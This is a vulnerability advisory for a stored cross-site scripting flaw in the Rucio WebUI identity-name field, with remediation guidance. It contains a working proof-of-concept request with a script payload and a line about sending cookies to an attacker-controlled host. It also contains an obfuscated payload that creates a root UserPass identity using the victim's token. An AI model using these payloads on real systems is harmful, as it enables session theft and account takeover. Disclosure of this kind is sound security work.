CVE-2026-25735: Rucio WebUI has a Stored Cross-site Scripting (XSS) vulnerability its Identity Name

Summary A stored Cross-site Scripting (XSS) vulnerability was identified in the Identity Name of the WebUI where attacker-controlled input is persisted by the backend and later rendered in the WebUI without proper output encoding. This allows arbitrary JavaScript execution in the context of the WebUI for users who view affected pages, potentially enabling session token theft or unauthorized actions.

--- Details The identity name is stored and later rendered without output encoding.

Create Path: Admin > Account Management > ACCOUNT NAME > Add Account Identity

Trigger Path: Admin > Account Management > ACCOUNT NAME (https://127.0.0.1:8443/ui/account?account=pentest)

Request http POST /proxy/accounts/pentest/identities HTTP/1.1 ... {"identity":"<script>alert(document.cookie)</script>","authtype":"SSH","email":"Test"}

Response http HTTP/1.1 201 CREATED ... Created

Storing XSS payload in account identity name <img width="1385" height="807" alt="Storing XSS payload in account identity name" src="https://github.com/user-attachments/assets/e4209ef4-fd88-492f-9fb0-afb7d04b15ce" />

Triggering XSS payload when viewing account <img width="1395" height="745" alt="Triggering XSS payload when viewing account" src="https://github.com/user-attachments/assets/e6217669-a0f7-4aba-bb05-f4fb7049611c" />

--- Impact Any authenticated user who views affected resources may execute attacker-controlled JavaScript in the WebUI origin. Depending on the affected feature, this may impact all users or administrative users only.

The impact is amplified by: - Session cookies that are accessible to JavaScript (missing HttpOnly flag). - API tokens exposed to the WebUI via JavaScript variables.

An attacker would likely attempt to exfiltrate the session token to an external site by setting an encoded version of the cookie as the path of a GET request to an attacker controlled site (i.e GET https://attacker.example.com/rucio/{BASE64COOKIE}).

Attackers can also perform actions as the victim like creating a new UserPass identity with an attacker known password, creating/deleting an RSE, or exfiltrating data.

XSS Payload to Create Root UserPass html <img src=x onerror=(function(){o={};o.method='PUT';o.credentials='include';o.headers={'X-Rucio-Username':'attackeruser','X-Rucio-Password':'AttackerPassword123','X-Rucio-Email':'demo@example.org','X-Rucio-Auth-Token':token};fetch(String.fromCharCode(47)+'identities'+String.fromCharCode(47)+'root'+String.fromCharCode(47)+'userpass',o)})()>

--- Remediation / Mitigation All client-side renderings of server-provided or user-controlled data must ensure proper HTML escaping before insertion into the DOM. Unsafe methods such as .html() should be avoided unless the content is explicitly sanitized. Safer alternatives include .text(), creating text nodes, or using a templating system that enforces automatic escaping.

Additional defense-in-depth measures include: - Enforcing a strict Content Security Policy (CSP). - Setting the HttpOnly flag on session cookies. - Avoiding exposure of API tokens in JavaScript-accessible variables.

Note that many pages were found setting the API token as token in an authenticated response like var token = "root-root-webui-...:" (See /ui/listaccounts for example)

--- References - OWASP XSS Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/CrossSiteScriptingPreventionCheatSheet.html